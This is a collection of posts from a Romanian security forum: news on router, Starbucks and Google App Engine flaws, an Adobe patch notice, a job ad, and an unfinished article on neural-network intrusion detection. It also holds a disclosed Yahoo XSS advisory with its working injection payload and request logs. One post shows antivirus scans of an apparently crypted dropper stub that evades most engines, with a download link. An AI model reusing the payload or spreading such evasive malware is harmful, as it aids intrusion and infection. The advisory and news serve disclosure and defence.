Jump to content

Search the Community

Showing results for tags 'security'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. Millions of routers and other embedded devices are affected by a serious vulnerability that could allow hackers to compromise them. The vulnerability is located in a service called NetUSB, which lets devices connected over USB to a computer be shared with other machines on a local network or the Internet via IP (Internet Protocol). The shared devices can be printers, webcams, thumb drives, external hard disks and more. NetUSB is implemented in Linux-based embedded systems, such as routers, as a kernel driver. The driver is developed by Taiwan-based KCodes Technology. Once enabled, it opens a server that listens on TCP port 20005 for connecting clients. Security researchers from a company called Sec Consult found that if a connecting computer has a name longer than 64 characters, a stack buffer overflow is triggered in the NetUSB service. If exploited, this kind of vulnerability can result in remote code execution or denial of service. Since the NetUSB service code runs in kernel mode, attackers who exploit the flaw could gain the ability to execute malicious code on the affected devices with the highest possible privilege, the Sec Consult researchers said in a blog post Tuesday. Many vendors integrate NetUSB into their products, but have different names for it. For example, Netgear calls the feature ReadySHARE, while others simply call it print sharing or USB share port. Sec Consult has confirmed the vulnerability in the TP-Link TL-WDR4300 V1, TP-Link WR1043ND v2 and Netgear WNDR4500 routers. However, after scanning firmware images from different manufacturers for the presence of the NetUSB.ko driver, they believe that 92 other products from D-Link, Netgear, TP-Link, Trendnet and ZyXEL Communications are likely vulnerable. The researchers also found references to 26 vendors in the NetUSB.inf client driver for Windows, so they believe many other vendors might also have vulnerable products. They’ve alerted the CERT Coordination Center (CERT/CC), the German CERT-Bund and Austrian CERT, who are working to notify the vendors. On some devices it’s possible for users to disable the feature from the Web-based administration interface or to block access to the port using the firewall feature. However, on some devices, like those made by Netgear, this is not possible, the researchers said. Many devices likely expose the NetUSB service to the local area network only, but there might be implementations that expose it to the Internet as well. Even when restricted to the local network only, the vulnerability still poses a high risk, because attackers can potentially exploit it if they compromise any computer from the local network or if they gain access to the network in some other way—for example, due to weak or no wireless password. As far as the Sec Consult researchers know, only TP-Link has released fixes so far. It has a release schedule for around 40 products. TP-Link, Netgear, D-Link and ZyXEL did not immediately respond to a request for comment. This vulnerability is just the latest in a long stream of basic security flaws found in consumer routers in recent years. “It is safe to say that vulnerability reports like these will continue to appear until a paradigm shift is enacted at the manufacturer level,” said Jacob Holcomb, a security analyst at Baltimore-based Independent Security Evaluators, via email. Holcomb has found many vulnerabilities in routers and other embedded devices over the past several years. Security Evaluators organized a router hacking contest at the DefCon security conference last year. The way in which vendors have implemented NetUSB in their products is egregious, Holcomb said. “For instance, hardcoded AES keys, the processing of unvalidated and untrusted data, and kernel integration are all red flags that should have been identified during the early stages of SDLC [software development lifecycle].” Source
  2. Starbucks has rebuffed claims that its mobile app has been hacked, in the wake of reports that scores of its US customers have suffered from credit card fraud. The coffee chain’s US customers have been reporting the theft of hundreds of dollars from their credit cards, in a series of scams seemingly linked to auto top-ups on the Starbucks mobile app. Victims commonly receive emails saying the passwords and login details for Starbucks’ mobile app had been reset before receiving notice of fraudulent transactions. However, Starbucks denies its app has been hacked. In a statement, the coffee chain suggested the isolated reports of fraudulent activity on customers’ online accounts are down to password re-use or other lax security practices by its clients. Starbucks takes the obligation to protect customers’ information seriously. News reports that the Starbucks mobile app has been hacked are false. Like all major retailers, the company has safeguards in place to constantly monitor for fraudulent activity and works closely with financial institutions. To protect the integrity of these security measures, Starbucks will not disclose specific details but can assure customers their security is incredibly important and all concerns related to customer security are taken seriously. Occasionally, Starbucks receives reports from customers of unauthorized activity on their online account. This is primarily caused when criminals obtain reused names and passwords from other sites and attempt to apply that information to Starbucks. To protect their security, customers are encouraged to use different user names and passwords for different sites, especially those that keep financial information. Reports that hackers were targeting Starbucks mobile users – stealing from linked credit cards without knowing account numbers – first surfaced this week. Bob Sullivan, journalist and consumer advocate, was the the first to report on the scam. Sullivan recommends that all Starbucks consumers immediately disable auto-reload on the Starbucks mobile payments and gift cards. Criminals who obtain username and password credentials for Starbucks.com first drain a consumer’s stored value before siphoning off funds from their linked credit card. Starbucks reportedly allows consumers to move balances from one gift card to another. Hackers can also cash out by using a hijacked account to buy gift cards. These can then be sent to an arbitrary email address which can be trivially registered – without secondary confirmation – from within hijacked Starbucks accounts. In its statement, Starbucks said “customers are not responsible for charges or transfers they did not make. If a customer’s Starbucks Card is registered, their account balance is protected”, so those who have been left out of pocket will hopefully get their money back. The apparent scam appears to be limited to the US. El Reg understands that Starbucks customers in Europe and elsewhere outside North America have not been affected. Roy Tobin, a threat researcher at security software firm Webroot, recommended that consumers and businesses alike should re-examine their security practices. "Credentials leaked in previous cyber-attacks are likely to have been used to allow hackers to siphon off money from Starbucks' customers," Tobin said. "The key security take-away from this incident is the fact that as a company, your customers’ security information often doesn’t exist in a bubble. Passwords are frequently saved to browsers or documents, and are repeatedly re-used by customers across separate online accounts. Consumers should take steps to regularly change their passwords and avoid using the same password across multiple online services," he said. For businesses, the use of two-factor authentication technology can help mitigate against this class of threat, according to Tobin. "Companies must anticipate this vulnerability by implementing more rigorous security processes, making it harder for hackers to access their customers’ accounts," he added. "Best practice for mitigating this is the implementation of a two-factor authentication process that requires the user to verify their identity when logging in from a new device or location whenever financial details are accessed or used," he concluded. Source
  3. Vulnerabilities in the Google App Engine cloud platform make it possible for attackers to break out of a first-level security sandbox and execute malicious code in restricted areas of Google servers, a security researcher said Friday. Adam Gowdiak, CEO of Poland-based Security Explorations, said there are seven separate vulnerabilities in the Google service, most of which he privately reported to Google three weeks ago. So far, he said, the flaws have gone unfixed, and he has yet to receive confirmation from Google officials. To exploit the flaws, attackers could use the freely available cloud platform to run a malicious Java application. That malicious Java app would then break out of the first sandboxing layer and execute code in the highly restricted native environment. Malicious hackers could use the restricted environment as a beachhead to attack lower-level assets and to retrieve sensitive information from Google servers and from the Java runtime environment. Technical details about the bugs, noted as issues 35 through 41, are available here, here, here, and here. In an e-mail to Ars, Gowdiak wrote: Gowdiak took to the Full Disclosure e-mail list to disclose the bugs and to call Google out for not responding to his private advisory, which he said included proof-of-concept exploit code. "It's been 3 weeks and we haven't heard any official confirmation / denial from Google with respect to Issues 37-41," Gowdiak wrote. "It should not take more than 1-2 business days for a major software vendor to run the received POC, read our report and / or consult the source code. This especially concerns the vendor that claims its 'Security Team has hundreds of security engineers from all over the world' and that expects other vendors to react promptly to the reports of its own security people." Google has received criticism in the past when its Project Zero has disclosed vulnerabilities in Windows and Mac OS X before Microsoft and Apple had patched them. Asked for comment on Gowdiak's Full Disclosure post, a Google spokesman issued the following statement: "A researcher recently reported a known issue affecting a preliminary layer of security in Google App Engine. We’re working with him to mitigate it; users don’t need to take any action." Source
  4. Document Title: =============== Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1491 Yahoo Security ID (H1): #55395 Release Date: ============= 2015-05-07 Vulnerability Laboratory ID (VL-ID): ==================================== 1491 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers every month in more than 30 languages. (Copy of the Vendor Homepage: http://www.yahoo.com ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Yahoo eMarketing online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program) 2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program) 2015-05-06: Vendor Fix/Patch (Yahoo Developer Team) 2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program) 2015-05-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Yahoo eMarketing online service web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `id` value of the `eMarketing` module. Remote attackers are able to inject malicious script codes to client-side GET method application requests. Remote attackers are able to prepare special crafted web-links to execute client-side script code that compromises the yahoo user/admin session data. The execution of the script code occurs in same module context location by a mouse-over. The attack vector of the vulnerability is located on the client-side of the online service and the request method to inject or execute the code is GET. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Yahoo > eMarketing Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click). For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC Payload(s): "onmouseenter="confirm(document.domain) (https://marketing.tw.campaign.yahoo.net/) PoC: eMarketing ID <br/> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tr> <td align="right" width="10%" > <div class="fb-like" style="overflow: hidden; " data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)" data-layout="button_count" data-action="recommend" data-show-faces="false" data-share="true"></div> </td> <td align="left" valign="bottom" width="65%" > <span style="font-size:12px; margin: 2px; font-weight:bold; color:#4d0079">?????????? ????????</span> </td> </tr> </table> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=%22onmouseenter=%22confirm(document.domain) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[marketing.tw.campaign.yahoo.net] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Cookie[_ga=GA1.5.1632823259.1428499428; s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B; __qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Response Headers: Date[Wed, 06 May 2015 12:19:05 GMT] Server[ATS] X-Powered-By[PHP/5.3.27] Content-Type[text/html] Age[0] Connection[close] Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])] Reference(s): https://marketing.tw.campaign.yahoo.net https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/ https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id= Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable id value in the emarketing service application of yahoo. Restrict the input and disallow special chars or script code tags to prevent further injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the tw yahoo application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
  5. Dear members, First of all, apologies if this is posted in the wrong section We are urgently looking for highly professional web security analysts who wish to work by contract in our security company. You need to have a comprehensive knowledge in researching exploitation of web security (eg. php, java etc). If you wish to apply to this project, please provide us your CV. Also companies can apply if they have staff who can work with us locally. Regards, M.
  6. On Tuesday, May 12, Adobe will release security updates to address critical vulnerabilities discovered in Adobe Reader and Adobe Acrobat for Windows and Mac. Adobe has not provided too much information in the prenotification security advisory published on Thursday, but the company has revealed that the issues affect Acrobat and Reader XI (11.0.10) and earlier versions, and Acrobat and Reader X (10.1.13) and earlier versions. While the vulnerabilities that will be patched next week are considered critical, Adobe has assigned them a priority rating of 2. Updates with this priority rating address security bugs in a product that has historically been at elevated risk. Such flaws are not currently exploited in the wild and the company doesn’t expect them to be exploited too quickly. Administrators are advised by the company to apply such updates within 30 days. Vulnerabilities are often identified in Adobe products, especially Flash Player. Up until this point in 2015, Adobe released six security bulletins for Flash Player. The updates address tens of flaws, including zero-days that had been exploited in the wild before a patch was available. Last month’s Flash Player updates fixed a total of 22 vulnerabilities, including one that has been exploited in the wild. Adobe announced in March the launch of a bug bounty program for the company’s web applications. The program, hosted on the HackerOne platform, has already helped the company close more than 50 vulnerabilities, despite the fact that it’s not offering any monetary rewards to researchers who report bugs. source: Adobe to Patch Critical Vulnerabilities in Reader, Acrobat
  7. Stub: Filename: PT.exe Type: File Filesize: 76288 bytes Date: 06/05/2015 - 03:37 GMT+2 MD5: b147db0e17e6bae978bb309be1daefd8 SHA1: 61e75e18761f9eeacc2a430578b1ea49e424e4a0 Status: Infected Result: 1/35 AVG Free - OK Avast - OK AntiVir (Avira) - TR/Dropper.MSIL.Gen8 BitDefender - OK Clam Antivirus - OK COMODO Internet Security - OK Dr.Web - OK eTrust-Vet - OK F-PROT Antivirus - OK F-Secure Internet Security - OK G Data - OK IKARUS Security - OK Kaspersky Antivirus - OK McAfee - OK MS Security Essentials - OK ESET NOD32 - OK Norman - OK Norton Antivirus - OK Panda Security - OK A-Squared - OK Quick Heal Antivirus - OK Solo Antivirus - OK Sophos - OK Trend Micro Internet Security - OK VBA32 Antivirus - OK Zoner AntiVirus - OK Ad-Aware - OK BullGuard - OK FortiClient - OK K7 Ultimate - OK NANO Antivirus - OK Panda CommandLine - OK SUPERAntiSpyware - OK Twister Antivirus - OK VIPRE - OK Scan Result: MaJyx Scanner | Results Scan by MaJyx Scanner Encriptado: Filename: server.exe Type: File Filesize: 107318 bytes Date: 06/05/2015 - 03:41 GMT+2 MD5: 152a6a33274143add9e2154b4bb4ce0f SHA1: 3a97654140b6faf5987366cc2d0edfa390ebbbd0 Status: Infected Result: 1/35 AVG Free - OK Avast - OK AntiVir (Avira) - TR/Dropper.Gen BitDefender - OK Clam Antivirus - OK COMODO Internet Security - OK Dr.Web - OK eTrust-Vet - OK F-PROT Antivirus - OK F-Secure Internet Security - OK G Data - OK IKARUS Security - OK Kaspersky Antivirus - OK McAfee - OK MS Security Essentials - OK ESET NOD32 - OK Norman - OK Norton Antivirus - OK Panda Security - OK A-Squared - OK Quick Heal Antivirus - OK Solo Antivirus - OK Sophos - OK Trend Micro Internet Security - OK VBA32 Antivirus - OK Zoner AntiVirus - OK Ad-Aware - OK BullGuard - OK FortiClient - OK K7 Ultimate - OK NANO Antivirus - OK Panda CommandLine - OK SUPERAntiSpyware - OK Twister Antivirus - OK VIPRE - OK https://www.sendspace.com/file/ubgdlc Arhiva este cryptata in rar DES.
  8. Intrusion systems have been the subject of considerable research for decades to improve the inconsistencies and inadequacies of existing methods, from basic detectability of an attack to the prevention of computer misuse. It remains a challenge still today to detect and classify known and unknown malicious network activities through identification of intrusive behavioral patterns (anomaly detection) or pattern matching (misuse or signature-based detection). Meanwhile, the number of network attack incidents continues to grow. Protecting a computer network against attacks or cybersecurity threats is imperative, especially for companies that need to protect not only their own business data but also sensitive information of their clients as well as of their employees. It is not hard to see why even just one breach in data security from a single intrusion of a computer network could wreak havoc on the entire organization. Not only would it question the reliability of the networks’ infrastructure, but it could also seriously damage the business’s reputation. An organization’s first defense against breaches is a well-defined corporate policy and management of systems, as well as the involvement of users in protecting the confidentiality, integrity, and availability of all information assets. Security awareness training is a baseline for staff to gain the knowledge necessary to deter computer breaches and viruses, mitigate the risks associated with malicious attacks, and defend against constantly evolving threats. Users’ awareness and strict IT policies and procedures can help defend a company from attacks, but when a malicious intrusion is attempted, technology is what helps systems administrators protect IT assets. When it comes to perimeter data security, traditional defense mechanisms should be in layers: firewalls, intrusion detection systems (IDS) and intrusion prevention systems (IPS) can be used. Research and new developments in the field of IDPS (Intrusion Detection and Prevention System) prove different approaches to anomaly and misuse detection can work effectively in practical settings, even without the need of human interaction/supervision in the process. Several case studies emphasize that the use of Artificial Neural Networks (ANN) can establish general patterns and identify attack characteristics in situations where rules are not known. A neural network approach can adapt to certain constraints, learn system characteristics, recognize patterns and compare recent user actions to the usual behavior; this allows resolving many issues/problems even without human intervention. The technology promises to detect misuse and improve the recognition of malicious events with more consistency. A neural network is able to detect any instances of possible misuse, allowing system administrators to protect their entire organization through enhanced resilience against threats. This article explores Artificial Intelligence (AI) as a means to solve the difficulties in identifying intrusions of insecure networks, such as the Internet, and discusses the use of artificial neural networks (ANN) for effective intrusion detection to detect patterns that separate attacks from genuine traffic. It will clarify why ANN technology offers a promising future in the identification of instances of misuse against computer systems. Furthermore, the article will also point out the different directions in which research on neural networks concentrate and the developments and expected future in the intrusion detection and prevention (IDPS) field. IDS & IPS Technology: Detection and Prevention Techniques With computer intrusions—the unauthorized access or malicious use of information resources—becoming more common and a growing challenge to overcome, IT professionals have come to rely more on detection and prevention technologies to protect availability of business-critical information resources and to safeguard data confidentiality and integrity. IDS tools sniff network packet traffic in search of interferences from external sources and can spot a hacker attempting to gain entry; they are designed to detect threats, misuse or unauthorized access to a system or network and are able to analyze system events for signs of incidents. Using both hardware and software, IDSs can detect anything that is suspicious either on a network or host; they then create alarms that system administrators can review to spot possible malicious entries. Intrusion detection systems (IDS) can be classified as: Host based or Network based with the former checking individual machines’ logs and the latter analyzing the content of network packets; Online or Offline, capable of flagging a threat in real-time or after the fact to alert of a problem; Misuse-based or Anomaly-based, either specifically checking a deviation from a routine behavior or comparing activities with normal, known attackers’ behavior. While an IDS is designed to detect attacks and alert humans to any malicious events to investigate, an IPS is used to prevent malicious acts or block suspicious traffic on the network. There are four different types of IPS: network-based intrusion prevention system (NIPS) that looks at the protocol activity to spot suspicious traffic; wireless intrusion prevention system (WIPS) that analyzes wireless networking protocols and is so important in the BYOD and mobile-centric world; network behavior analysis (NBA) that can spot attacks that create unusual traffic, such as distributed denial of service (DDoS) attacks, and it can use anomaly-based detection and stateful protocol analysis; and host-based intrusion prevention system (HIPS) that can be installed on single machines and can use signature-based and anomaly-based methods to detect problems. IDS and IPS tools are often used concurrently, as they are not mutually exclusive. Thus IDPS can offer twice the protection. Security technologist and chief technology officer of Co3 Systems Bruce Schneier mentions, “Good security is a combination of protection, detection, and response.” That just happens to be what IDPS does; it is deployed for information gathering, logging, detection and prevention. These tools provide threat identification capabilities, attack anticipation, and more. Having a network-based IDPS (NIDPS) with signature-based and anomaly-based detection capabilities allows inspecting the content of all the traffic that traverses the network. NIDPS are essential network security appliances that help in maintaining the security goals. They are highly used, as Indraneel Mukhopadhyay explains, for “identifying possible incidents, logging information about them, attempting to stop them, and reporting them to security administrators.” The all familiar Snort—an open-source NIDPS—is a highly used free threat intelligence program, created by Martin Roesch in 1998, that is capable of real-time traffic analysis and packet logging; it utilizes a rules-based detection engine to look for anomalous activity. What makes it a popular choice is its easy-to-use rule language. It can protect even the largest enterprise networks. Snort is an IP-centric program; administrators can view system security logs and find any irregularities or issues relating to things such as improper access patterns. Snort is said to be the most widely deployed intrusion prevention system in the world. Deploying IDS and IPS devices requires a specialized skill set to ensure it properly identifies abnormal traffic and alert network administrator as needed. Along with proper configuration to a predefined rule set, provided by the administrator, these devices need to be fine-tuned (as new threats are discovered) in order to weed out false positives and be adjusted to specific network parameters (when the infrastructure has been altered) to maximize accuracy. Once the type of IDPS technology has been selected, it is key to determine how many components (sensors, agents) will need to be deployed to function accurately to capture security issues, process events and alert appropriate personnel of suspicious activities. Direct network monitoring of the IDPS components like inline sensors between the firewall and the Internet border router is essential to achieve detection and prevention of malicious activity, such as denial of service attacks committed by an intruder. IDPS agents installed on endpoints can not only monitor the current network but also can assign appropriate priorities to alerts. Past and Present of IDSs IDPSs are able to monitor the events of interests on the systems and/or networks and are then able to identify possible incidents, log information about them, and attempt to stop common attacks and report them to security administrators. In the past, Intrusion Detection and Prevention (IDPS) has either been signature-based (able to check activity against known attackers’ patterns, the signature), anomaly-based (also referred to as heuristic, that alerts when traffic and activity are not normal), or based on stateful protocol analysis that looks at the “state” in a connection and “remembers” significant events that occur. These methods are effective but do have some downfalls. IDSs are known to have two main problems: the number of alarms generated and the need for tuning. Anomaly-based detection, for example, needs training and if issues arise during the training period a malicious behavior might be “learned” as legitimate by the system; it’s also prone to many false positives. When analysis is based on rules provided by a vendor or an administrator, instead, updates must be frequent to ensure the proper functioning of the system. The number of alarms generated (many being false) can overwhelm system security managers and prevent them from quickly identifying real ones. The continuous tuning of the intrusion to detect the slightest of variances and training required in order to maintain sufficient performance remains an issue. With a growing number of intrusion events, there is the need to use innovative intrusion detection techniques for critical infrastructure network protection. Research has concentrated on Artificial Neural Networks (ANNs) that can provide a more flexible approach to intrusion prevention in terms of learning. As the need for reliable automatic IDPS builds up, for it to gain acceptance as a viable alternative, it needs to function at a sufficient level of accuracy. That is where Neural Networks and Artificial Intelligence can play an effective role in the improvement of ID systems with the ability to learn from previous episodes of intrusion to identify new types of attack with less analyst interaction with the ID itself. In fact, information system experts believe that Artificial Intelligence (AI) can provide significant improvements to IDS/IPS systems, especially in terms of effectiveness and decreased false positive/negative rates, a major issue in intrusion management. Next Generation Intrusion Detection and Prevention (IDPS) Due to a new generation of hackers that are better organized and equipped than in the past, to get past perimeter security, it is clear that a different approach is required, says Joshua Crumbaugh, lead penetration tester at Tangible Security, Inc., NagaSec. As per the DRAFT Special Publication 800-94 Revision 1, Guide to …, the Next-Generation IDPS for host and network-based deployment options will have automated identification, location, isolation, and resolution of threats in real-time. A GCN staff post, “What’s next in cybersecurity automation,” provides insight on the Enterprise Automated Security Environment (EASE) concept for “shared situational awareness in cyber-relevant time” and, with the concerted efforts of government and private sector interests, the concept may foster continuous innovation for cyberspace defense across the board. Other than EASE, the US Government has already evaluated other options to defend against cyber-attacks that mine homeland security. It pursued, for example, as a project to develop a smart network of sensors (named Einstein) to detect cyber-attacks against critical infrastructures. IPS/IDS has changed, as research shows, with AI techniques that have improved IDSs by making them capable of detecting both current and future intrusion attacks while triggering fewer false positives and negatives. New ANNIDS (Neural networks applied to IDS) techniques have been able to improve the way detection systems are trained to recognize patterns, conduct problem solving and fault diagnosis too. In today’s world, there is the need “for building high-speed, reliable, robust and scalable ANN-based network intrusion detection and prevention system that is highly useful for [humankind] and organizations,” Mukhopadhyay says. Neural network based AIs are able to discover emergent collective properties that are too complex to be noticed by either humans or other computer techniques. AI based techniques are used to classify behavior patterns of a user and an intruder in a way that minimizes false alarms from happening, explains Archit Kumar, India, an M.Tech Student, Department of CSE, in a research paper for IJARCSMS. IDS based on ANN uses algorithms that can analyze the captured data and judge whether the data is intrusion or not by means of behavioral analysis of the neural computation during both learning and recall. Although ANNIDS’ main drawbacks are lower detection precision for low-frequent attacks, and weaker detection stability in the beginning, it is a suitable solution for intrusion detection and network security, says Suresh Kashyap, an Indian research scholar at the Dr. C.V. Raman University. He adds that ANNIDS can be trained and tested by customized datasets enabling it to identify known and unknown (new) attacks with increasing accuracy when other methods fail. Current AI techniques for improving automation of the intrusion detection process are not easily deployable in real life, yet many experiments and tests have been carried out with results showing ANNs capable of detecting intrusive activity in a distributed environment to provide local “threat-level” monitoring of computer DDoS attacks before the successful completion of an intrusion. ANN s are great in terms of learning capabilities and effectiveness in capturing anomalies in activities, but also have some significant downfalls, such as, for example, the requirement of high computational resources. Researchers have been working on resolving this issue by trying to find a way to help ANN systems process info faster and effectively. An approach using AI techniques combined with genetic algorithms and fuzzy logic, for instance, proved well suited for detecting malicious behavior in distributed computer systems. Research concentrated also on the possibility to clustered data in subgroups using fuzzy clustering to use then a different ANN on each set. Results are obtained faster and are then aggregated to have a complete picture. Another method explored more recently is deploying new ANN-based intelligent hybrid IDS models for anomaly detection that involve network- and host-based technologies under a single management console. These are also applicable to many environments: from Grid and Cloud Computing to mobile and network computers. In such an architecture, a Distributed Intrusion Detection System (DIDS) that relies on network and host based sensors is apt to increase the efficiency of the system yielding fast results of abnormal data determined by multiple heterogeneous recognition engines and management components to solve security issues. Conclusion Whether it is through a hybrid IDS using honey pot technology and anomaly detection or artificial neural network (ANN) based IDSs techniques, it is essential to detect and prevent attacks immediately as attempted. Information security practitioners suggest organizations are confident that their security control mechanism in place are sufficient enough for the protection of computer data and programs, but apparently, as per the PwC findings from the 2014 US State of Cybercrime Survey, a good majority of them fail to assess for threats or place emphasis on prevention mechanisms. What’s more, they also lack the ability to diagnose and troubleshoot less sophisticated attacks and have yet to consider where IDS/IPS fits in their security plan. Both system solutions work together and form an integral part of a robust network defense solution. As per the annual Worldwide Infrastructure Security Report (WISR) that provides insight into the Global Threat Landscape, organizations will face even more concerns regarding APT, so they ought to step up their network security defenses with near-real-time intrusion detection to defend critical data and applications from today’s sophisticated attacks. The new reality in IT security is that network breaches are inevitable, and the ability to monitor and control access and behavior patterns and misuse relies upon intrusion detection and prevention methods to be more quickly identified and more effectively addressed. An IDS/IPS is a must-have device; an ANN model based on ESNN learning patterns and classifying intrusion data packets is an effective approach. The main advantages of the ANNs over traditional IDSs are their abilities to learn, classify, process information faster, as well as their ability of self-organization. For these reasons, Neural Networks can increase the accuracy and efficiency of IDSs and AI techniques can improve IDS/IPS effectiveness. References Brecht, D. (2010, April 15). Network Intrusion Detection Systems: a 101. Retrieved from What is a Network Intrusion Detection System (NIDS)? Compare Business Products (2014, March 18). Security: IDS vs. IPS Explained. Retrieved from Security: IDS vs. IPS Explained | Reviews, Comparisons and Buyer's Guides GCN. (2014, December 9). What’s next in cybersecurity automation. Retrieved from What’s next in cybersecurity automation -- GCN Infosecurity Magazine. (2011, October 21). Small enterprises are suffering more intrusions, survey finds. Retrieved from Small enterprises are suffering more intrusions, survey finds - Infosecurity Magazine InfoSight Inc. (n.d). Intrusion Detection (IDS) & Intrusion Prevention (IPS). Retrieved from Intrusion Detection (IDS) & Intrusion Prevention (IPS) – InfoSight Inc Kashyap, S. (2013, May). Importance of Intrusion Detection System with its Different approaches. Retrieved from http://www.ijareeie.com/upload/may/24_Importance.pdf Kumar, A. (2014, May). Intrusion detection system using Expert system (AI) and […]. Retrieved from http://www.ijarcsms.com/docs/paper/volume2/issue5/V2I5-0064.pdf Mukhopadhyay, I. (2014). Hardware Realization of Artificial Neural Network Based Intrusion Detection & Prevention System. Retrieved from http://file.scirp.org/Html/3-7800230_50045.htm Onuwa, O. (2014, November 29). Improving Network Attack Alarm System: A Proposed Hybrid Intrusion Detection System Model. Retrieved from http://www.computerscijournal.org/vol7no3/improving-network-attack-alarm-system-a-proposed-hybrid-intrusion-detection-system-model/ Saied, A. (n.d.). Artificial Neural Networks in the 